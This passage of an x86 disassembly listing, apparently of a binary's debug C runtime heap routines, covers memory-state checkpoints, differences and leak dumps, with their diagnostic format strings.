		push	edx
		push	offset aHsAllocatedAtF ; "%hs allocated	at file	%hs(%d).\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_420452
		int	3		; Trap to Debugger


loc_420452:				; CODE XREF: sub_420130+31Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420425


loc_420458:				; CODE XREF: sub_420130+2F3j
					; sub_420130+359j
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+10h]
		push	edx
		mov	eax, [ebp+var_20]
		add	eax, 20h
		push	eax
		mov	ecx, [ebp+var_2C]
		push	ecx
		push	offset aHsLocatedAt0x0 ; "%hs located at 0x%08X	is %u bytes long."...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_420485
		int	3		; Trap to Debugger


loc_420485:				; CODE XREF: sub_420130+352j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_420458
		mov	[ebp+var_1C], 0


loc_420492:				; CODE XREF: sub_420130+2EAj
		jmp	loc_42029F
; ---------------------------------------------------------------------------


loc_420497:				; CODE XREF: sub_420130+159j
					; sub_420130+17Bj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_4204A5
		jmp	short loc_4204B0
sub_420130	endp


; =============== S U B	R O U T	I N E =======================================



sub_4204A5	proc near		; CODE XREF: sub_420130+36Ep
					; DATA XREF: .XComp0:0043EA58o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_4204A5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420130


loc_4204B0:				; CODE XREF: sub_420130+373j
		mov	eax, [ebp+var_1C]


loc_4204B3:				; CODE XREF: sub_420130+34j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_420130
; ---------------------------------------------------------------------------
off_4204C4	dd offset loc_420234	; DATA XREF: sub_420130+82r
		dd offset loc_42020C
		dd offset loc_4201E4
		dd offset loc_4201B9
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4204E0	proc near		; CODE XREF: sub_421880+A0p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_44FEE0
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jz	short loc_4204FB
		mov	ecx, [ebp+arg_0]
		mov	dword_44FEE0, ecx


loc_4204FB:				; CODE XREF: sub_4204E0+10j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4204E0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EA60
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44FEE0
		and	eax, 1
		test	eax, eax
		jnz	short loc_420541
		jmp	short loc_4205A8
; ---------------------------------------------------------------------------


loc_420541:				; CODE XREF: .XComp0:0042053Dj
		push	9
		call	sub_425990
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	ecx, dword_4E91E8
		mov	[ebp-1Ch], ecx
		jmp	short loc_420565
; ---------------------------------------------------------------------------


loc_42055D:				; CODE XREF: .XComp0:loc_42058Dj
		mov	edx, [ebp-1Ch]
		mov	eax, [edx]
		mov	[ebp-1Ch], eax


loc_420565:				; CODE XREF: .XComp0:0042055Bj
		cmp	dword ptr [ebp-1Ch], 0
		jz	short loc_42058F
		mov	ecx, [ebp-1Ch]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_42058D
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp-1Ch]
		add	ecx, 20h
		push	ecx
		call	dword ptr [ebp+8]
		add	esp, 8


loc_42058D:				; CODE XREF: .XComp0:0042057Aj
		jmp	short loc_42055D
; ---------------------------------------------------------------------------


loc_42058F:				; CODE XREF: .XComp0:00420569j
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_42059D
		jmp	short loc_4205A8

; =============== S U B	R O U T	I N E =======================================



sub_42059D	proc near		; CODE XREF: .XComp0:00420596p
					; DATA XREF: .XComp0:0043EA68o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_42059D	endp

; ---------------------------------------------------------------------------


loc_4205A8:				; CODE XREF: .XComp0:0042053Fj
					; .XComp0:0042059Bj
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4205C0	proc near		; CODE XREF: sub_420610+1Ep
					; .XComp0:004207D0p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		jz	short loc_4205FD
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		nop
		call	near ptr 2941B69h
		test	eax, eax
		jnz	short loc_4205FD
		cmp	[ebp+arg_8], 0
		jz	short loc_4205F4
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		nop
		call	near ptr 29415F4h
		test	eax, eax
		jnz	short loc_4205FD


loc_4205F4:				; CODE XREF: sub_4205C0+20j
		mov	[ebp+var_4], 1
		jmp	short loc_420604
; ---------------------------------------------------------------------------


loc_4205FD:				; CODE XREF: sub_4205C0+8j
					; sub_4205C0+1Aj ...
		mov	[ebp+var_4], 0


loc_420604:				; CODE XREF: sub_4205C0+3Bj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4205C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420610	proc near		; CODE XREF: sub_41F350+1AAp
					; sub_41F9E0+9Cp ...

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_0], 0
		jnz	short loc_420623
		xor	eax, eax
		jmp	loc_420730
; ---------------------------------------------------------------------------


loc_420623:				; CODE XREF: sub_420610+Aj
		push	1
		push	20h
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_4205C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420641
		xor	eax, eax
		jmp	loc_420730
; ---------------------------------------------------------------------------


loc_420641:				; CODE XREF: sub_420610+28j
		cmp	dword_4E98CC, 3
		jnz	short loc_4206AE
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		call	sub_426800
		add	esp, 4
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_42067A
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_426860
		add	esp, 8
		jmp	loc_420730
; ---------------------------------------------------------------------------


loc_42067A:				; CODE XREF: sub_420610+50j
		mov	ecx, dword_4E91F8
		and	ecx, 8000h
		test	ecx, ecx
		jz	short loc_420694
		mov	eax, 1
		jmp	loc_420730
; ---------------------------------------------------------------------------


loc_420694:				; CODE XREF: sub_420610+78j
		mov	edx, [ebp+arg_0]
		sub	edx, 20h
		push	edx
		push	0
		mov	eax, dword_4E98C8
		push	eax
		call	near ptr 2950000h
		nop
		jmp	loc_420730
; ---------------------------------------------------------------------------


loc_4206AE:				; CODE XREF: sub_420610+38j
		cmp	dword_4E98CC, 2
		jnz	short loc_42071A
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		call	sub_428820
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4206ED
		mov	ecx, [ebp+var_C]
		xor	edx, edx
		mov	dl, [ecx]
		test	edx, edx
		jz	short loc_4206E9
		mov	eax, 1
		jmp	short loc_420730
; ---------------------------------------------------------------------------


loc_4206E9:				; CODE XREF: sub_420610+D0j
		xor	eax, eax
		jmp	short loc_420730
; ---------------------------------------------------------------------------


loc_4206ED:				; CODE XREF: sub_420610+C5j
		mov	eax, dword_4E91F8
		and	eax, 8000h
		test	eax, eax
		jz	short loc_420702
		mov	eax, 1
		jmp	short loc_420730
; ---------------------------------------------------------------------------


loc_420702:				; CODE XREF: sub_420610+E9j
		mov	ecx, [ebp+arg_0]
		sub	ecx, 20h
		push	ecx
		push	0
		mov	edx, dword_4E98C8
		push	edx
		call	near ptr 2950000h
		nop
		jmp	short loc_420730
; ---------------------------------------------------------------------------


loc_42071A:				; CODE XREF: sub_420610+A5j
		mov	eax, [ebp+arg_0]
		sub	eax, 20h
		push	eax
		push	0
		mov	ecx, dword_4E98C8
		push	ecx
		nop
		call	near ptr 2950000h


loc_420730:				; CODE XREF: sub_420610+Ej
					; sub_420610+2Cj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_420610	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EA70
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+8]
		push	eax
		call	sub_420610
		add	esp, 4
		test	eax, eax
		jnz	short loc_42077A
		xor	eax, eax
		jmp	loc_420854
; ---------------------------------------------------------------------------


loc_42077A:				; CODE XREF: .XComp0:00420771j
		push	9
		call	sub_425990
		add	esp, 4
		mov	dword ptr [ebp-4], 0
		mov	ecx, [ebp+8]
		sub	ecx, 20h
		mov	[ebp-1Ch], ecx
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 4
		jz	short loc_4207C6
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 1
		jz	short loc_4207C6
		mov	edx, [ebp-1Ch]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jz	short loc_4207C6
		mov	ecx, [ebp-1Ch]
		cmp	dword ptr [ecx+14h], 3
		jnz	short loc_420831


loc_4207C6:				; CODE XREF: .XComp0:004207A2j
					; .XComp0:004207ABj ...
		push	1
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	sub_4205C0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_420831
		mov	ecx, [ebp-1Ch]
		mov	edx, [ecx+10h]
		cmp	edx, [ebp+0Ch]
		jnz	short loc_420831
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+18h]
		cmp	ecx, dword_44FEE4
		jg	short loc_420831
		cmp	dword ptr [ebp+10h], 0
		jz	short loc_420806
		mov	edx, [ebp+10h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+18h]
		mov	[edx], ecx


loc_420806:				; CODE XREF: .XComp0:004207F9j
		cmp	dword ptr [ebp+14h], 0
		jz	short loc_420817
		mov	edx, [ebp+14h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+8]
		mov	[edx], ecx


loc_420817:				; CODE XREF: .XComp0:0042080Aj
		cmp	dword ptr [ebp+18h], 0
		jz	short loc_420828
		mov	edx, [ebp+18h]
		mov	eax, [ebp-1Ch]
		mov	ecx, [eax+0Ch]
		mov	[edx], ecx


loc_420828:				; CODE XREF: .XComp0:0042081Bj
		mov	dword ptr [ebp-20h], 1
		jmp	short loc_420838
; ---------------------------------------------------------------------------


loc_420831:				; CODE XREF: .XComp0:004207C4j
					; .XComp0:004207DAj ...
		mov	dword ptr [ebp-20h], 0


loc_420838:				; CODE XREF: .XComp0:0042082Fj
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		call	sub_420846
		jmp	short loc_420851

; =============== S U B	R O U T	I N E =======================================



sub_420846	proc near		; CODE XREF: .XComp0:0042083Fp
					; DATA XREF: .XComp0:0043EA78o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_420846	endp

; ---------------------------------------------------------------------------


loc_420851:				; CODE XREF: .XComp0:00420844j
		mov	eax, [ebp-20h]


loc_420854:				; CODE XREF: .XComp0:00420775j
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4EA918
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4EA918, ecx
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420890	proc near		; CODE XREF: sub_420F90+Dp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00420A23 SIZE 00000011 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EAC8
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_0], 0
		jnz	short loc_4208E4


loc_4208B9:				; CODE XREF: sub_420890+4Dj
		push	offset a_crtmemcheckpo ; "_CrtMemCheckPoint: NULL state	pointer.\n"...
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4208D9
		int	3		; Trap to Debugger


loc_4208D9:				; CODE XREF: sub_420890+46j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4208B9
		jmp	loc_420A23
; ---------------------------------------------------------------------------


loc_4208E4:				; CODE XREF: sub_420890+27j
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4E91E8
		mov	[ecx], edx
		mov	[ebp+var_1C], 0
		jmp	short loc_420912
; ---------------------------------------------------------------------------


loc_420909:				; CODE XREF: sub_420890+A4j
		mov	eax, [ebp+var_1C]
		add	eax, 1
		mov	[ebp+var_1C], eax


loc_420912:				; CODE XREF: sub_420890+77j
		cmp	[ebp+var_1C], 5
		jge	short loc_420936
		mov	ecx, [ebp+var_1C]
		mov	edx, [ebp+arg_0]
		mov	dword ptr [edx+ecx*4+18h], 0
		mov	eax, [ebp+var_1C]
		mov	ecx, [ebp+arg_0]
		mov	dword ptr [ecx+eax*4+4], 0
		jmp	short loc_420909
; ---------------------------------------------------------------------------


loc_420936:				; CODE XREF: sub_420890+86j
		mov	edx, dword_4E91E8
		mov	[ebp+var_20], edx
		jmp	short loc_420949
; ---------------------------------------------------------------------------


loc_420941:				; CODE XREF: sub_420890:loc_4209EDj
		mov	eax, [ebp+var_20]
		mov	ecx, [eax]
		mov	[ebp+var_20], ecx


loc_420949:				; CODE XREF: sub_420890+AFj
		cmp	[ebp+var_20], 0
		jz	loc_4209F2
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		test	eax, eax
		jl	short loc_4209C8
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 5
		jge	short loc_4209C8
		mov	eax, [ebp+var_20]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+ecx*4+4]
		add	eax, 1
		mov	ecx, [ebp+var_20]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+edx*4+4], eax
		mov	edx, [ebp+var_20]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+eax*4+18h]
		mov	eax, [ebp+var_20]
		add	edx, [eax+10h]
		mov	ecx, [ebp+var_20]
		mov	eax, [ecx+14h]
		and	eax, 0FFFFh
		mov	ecx, [ebp+arg_0]
		mov	[ecx+eax*4+18h], edx
		jmp	short loc_4209ED
; ---------------------------------------------------------------------------


loc_4209C8:				; CODE XREF: sub_420890+D0j
					; sub_420890+E1j ...
		mov	edx, [ebp+var_20]
		push	edx
		push	offset aBadMemoryBlock ; "Bad memory block found at 0x%08X.\n"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_4209E7
		int	3		; Trap to Debugger


loc_4209E7:				; CODE XREF: sub_420890+154j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_4209C8


loc_4209ED:				; CODE XREF: sub_420890+136j
		jmp	loc_420941
; ---------------------------------------------------------------------------


loc_4209F2:				; CODE XREF: sub_420890+BDj
		mov	ecx, [ebp+arg_0]
		mov	edx, dword_4E91F0
		mov	[ecx+2Ch], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_4E91E4
		mov	[eax+30h], ecx
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_420A18
		jmp	short loc_420A23
sub_420890	endp


; =============== S U B	R O U T	I N E =======================================



sub_420A18	proc near		; CODE XREF: sub_420890+181p
					; DATA XREF: .XComp0:0043EAD0o
		push	9
		call	sub_425A30
		add	esp, 4
		retn
sub_420A18	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_420890


loc_420A23:				; CODE XREF: sub_420890+4Fj
					; sub_420890+186j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_420890
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 0
		cmp	dword ptr [ebp+8], 0
		jz	short loc_420A62
		cmp	dword ptr [ebp+0Ch], 0
		jz	short loc_420A62
		cmp	dword ptr [ebp+10h], 0
		jnz	short loc_420A90


loc_420A62:				; CODE XREF: .XComp0:00420A54j
					; .XComp0:00420A5Aj ...
		push	offset a_crtmemdiffere ; "_CrtMemDifference: NULL state	pointer.\n"...
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420A82
		int	3		; Trap to Debugger


loc_420A82:				; CODE XREF: .XComp0:00420A7Fj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420A62
		mov	eax, [ebp-8]
		jmp	loc_420B5C
; ---------------------------------------------------------------------------


loc_420A90:				; CODE XREF: .XComp0:00420A60j
		mov	dword ptr [ebp-4], 0
		jmp	short loc_420AA2
; ---------------------------------------------------------------------------


loc_420A99:				; CODE XREF: .XComp0:loc_420B27j
		mov	ecx, [ebp-4]
		add	ecx, 1
		mov	[ebp-4], ecx


loc_420AA2:				; CODE XREF: .XComp0:00420A97j
		cmp	dword ptr [ebp-4], 5
		jge	loc_420B2C
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+18h]
		sub	edx, [esi+ecx*4+18h]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+18h], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+10h]
		mov	ecx, [ebp-4]
		mov	esi, [ebp+0Ch]
		mov	edx, [eax+edx*4+4]
		sub	edx, [esi+ecx*4+4]
		mov	eax, [ebp-4]
		mov	ecx, [ebp+8]
		mov	[ecx+eax*4+4], edx
		mov	edx, [ebp-4]
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+edx*4+18h], 0
		jnz	short loc_420B02
		mov	ecx, [ebp-4]
		mov	edx, [ebp+8]
		cmp	dword ptr [edx+ecx*4+4], 0
		jz	short loc_420B27


loc_420B02:				; CODE XREF: .XComp0:00420AF3j
		cmp	dword ptr [ebp-4], 0
		jz	short loc_420B27
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_420B20
		cmp	dword ptr [ebp-4], 2
		jnz	short loc_420B27
		mov	eax, dword_44FEE0
		and	eax, 10h
		test	eax, eax
		jz	short loc_420B27


loc_420B20:				; CODE XREF: .XComp0:00420B0Cj
		mov	dword ptr [ebp-8], 1


loc_420B27:				; CODE XREF: .XComp0:00420B00j
					; .XComp0:00420B06j ...
		jmp	loc_420A99
; ---------------------------------------------------------------------------


loc_420B2C:				; CODE XREF: .XComp0:00420AA6j
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, [ecx+2Ch]
		sub	eax, [edx+2Ch]
		mov	ecx, [ebp+8]
		mov	[ecx+2Ch], eax
		mov	edx, [ebp+10h]
		mov	eax, [ebp+0Ch]
		mov	ecx, [edx+30h]
		sub	ecx, [eax+30h]
		mov	edx, [ebp+8]
		mov	[edx+30h], ecx
		mov	eax, [ebp+8]
		mov	dword ptr [eax], 0
		mov	eax, [ebp-8]


loc_420B5C:				; CODE XREF: .XComp0:00420A8Bj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420B70	proc near		; CODE XREF: sub_420F90+5Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00420E2C SIZE 00000037 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43EBE0
		push	offset sub_425A74
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_20], 0
		push	9
		call	sub_425990
		add	esp, 4
		mov	[ebp+var_4], 0


loc_420BAB:				; CODE XREF: sub_420B70+5Fj
		push	offset aDumpingObjects ; "Dumping objects ->\n"
		push	offset aS_26	; "%s"
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420BCB
		int	3		; Trap to Debugger


loc_420BCB:				; CODE XREF: sub_420B70+58j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420BAB
		cmp	[ebp+arg_0], 0
		jz	short loc_420BDF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		mov	[ebp+var_20], edx


loc_420BDF:				; CODE XREF: sub_420B70+65j
		mov	eax, dword_4E91E8
		mov	[ebp+var_1C], eax
		jmp	short loc_420BF1
; ---------------------------------------------------------------------------


loc_420BE9:				; CODE XREF: sub_420B70:loc_420E0Ej
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		mov	[ebp+var_1C], edx


loc_420BF1:				; CODE XREF: sub_420B70+77j
		cmp	[ebp+var_1C], 0
		jz	loc_420E13
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_20]
		jz	loc_420E13
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 3
		jz	short loc_420C45
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+14h]
		and	ecx, 0FFFFh
		test	ecx, ecx
		jz	short loc_420C45
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		and	eax, 0FFFFh
		cmp	eax, 2
		jnz	short loc_420C4A
		mov	ecx, dword_44FEE0
		and	ecx, 10h
		test	ecx, ecx
		jnz	short loc_420C4A


loc_420C45:				; CODE XREF: sub_420B70+A6j
					; sub_420B70+B6j
		jmp	loc_420E0E
; ---------------------------------------------------------------------------


loc_420C4A:				; CODE XREF: sub_420B70+C6j
					; sub_420B70+D3j
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx+8], 0
		jz	short loc_420CC3
		push	0
		push	1
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+8]
		push	ecx
		call	sub_4205C0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_420C94


loc_420C6A:				; CODE XREF: sub_420B70+120j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+0Ch]
		push	eax
		push	offset aFileErrorD ; "#File Error#(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420C8C
		int	3		; Trap to Debugger


loc_420C8C:				; CODE XREF: sub_420B70+119j
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_420C6A
		jmp	short loc_420CC3
; ---------------------------------------------------------------------------


loc_420C94:				; CODE XREF: sub_420B70+F8j
					; sub_420B70+151j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+0Ch]
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+8]
		push	edx
		push	offset aHsD	; "%hs(%d) : "
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_420CBD
		int	3		; Trap to Debugger


loc_420CBD:				; CODE XREF: sub_420B70+14Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420C94


loc_420CC3:				; CODE XREF: sub_420B70+E1j
					; sub_420B70+122j ...
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+18h]
		push	edx
		push	offset aLd	; "{%ld} "
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 18h
		cmp	eax, 1
		jnz	short loc_420CE5
		int	3		; Trap to Debugger


loc_420CE5:				; CODE XREF: sub_420B70+172j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_420CC3
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 4
		jnz	short loc_420D6D


loc_420CFC:				; CODE XREF: sub_420B70+1C8j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aClientBlockAt0 ; "client block at 0x%08X, subtype %x, %u "...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_420D34
		int	3		; Trap to Debugger


loc_420D34:				; CODE XREF: sub_420B70+1C1j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_420CFC
		cmp	dword_4EA918, 0
		jz	short loc_420D5C
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		add	edx, 20h
		push	edx
		call	dword_4EA918
		add	esp, 8
		jmp	short loc_420D68
; ---------------------------------------------------------------------------


loc_420D5C:				; CODE XREF: sub_420B70+1D1j
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_420E70
		add	esp, 4


loc_420D68:				; CODE XREF: sub_420B70+1EAj
		jmp	loc_420E0E
; ---------------------------------------------------------------------------


loc_420D6D:				; CODE XREF: sub_420B70+18Aj
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [ecx+14h], 1
		jnz	short loc_420DB3


loc_420D76:				; CODE XREF: sub_420B70+233j
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+10h]
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aNormalBlockAt0 ; "normal block at 0x%08X, %u bytes long.\n"...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 1Ch
		cmp	eax, 1
		jnz	short loc_420D9F
		int	3		; Trap to Debugger


loc_420D9F:				; CODE XREF: sub_420B70+22Cj
		xor	edx, edx
		test	edx, edx
		jnz	short loc_420D76
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_420E70
		add	esp, 4
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------


loc_420DB3:				; CODE XREF: sub_420B70+204j
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx+14h]
		and	edx, 0FFFFh
		cmp	edx, 2
		jnz	short loc_420E0E


loc_420DC4:				; CODE XREF: sub_420B70+290j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax+10h]
		push	ecx
		mov	edx, [ebp+var_1C]
		mov	eax, [edx+14h]
		sar	eax, 10h
		and	eax, 0FFFFh
		push	eax
		mov	ecx, [ebp+var_1C]
		add	ecx, 20h
		push	ecx
		push	offset aCrtBlockAt0x08 ; "crt block at 0x%08X, subtype %x, %u byt"...
		push	0
		push	0
		push	0
		push	0
		call	sub_424D20
		add	esp, 20h
		cmp	eax, 1
		jnz	short loc_420DFC
		int	3		; Trap to Debugger


loc_420DFC:				; CODE XREF: sub_420B70+289j
		xor	edx, edx
		test	edx, edx
		jnz	short loc_420DC4
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_420E70
		add	esp, 4


loc_420E0E:				; CODE XREF: sub_420B70:loc_420C45j
					; sub_420B70:loc_420D68j ...
		jmp	loc_420BE9
; ---------------------------------------------------------------------------


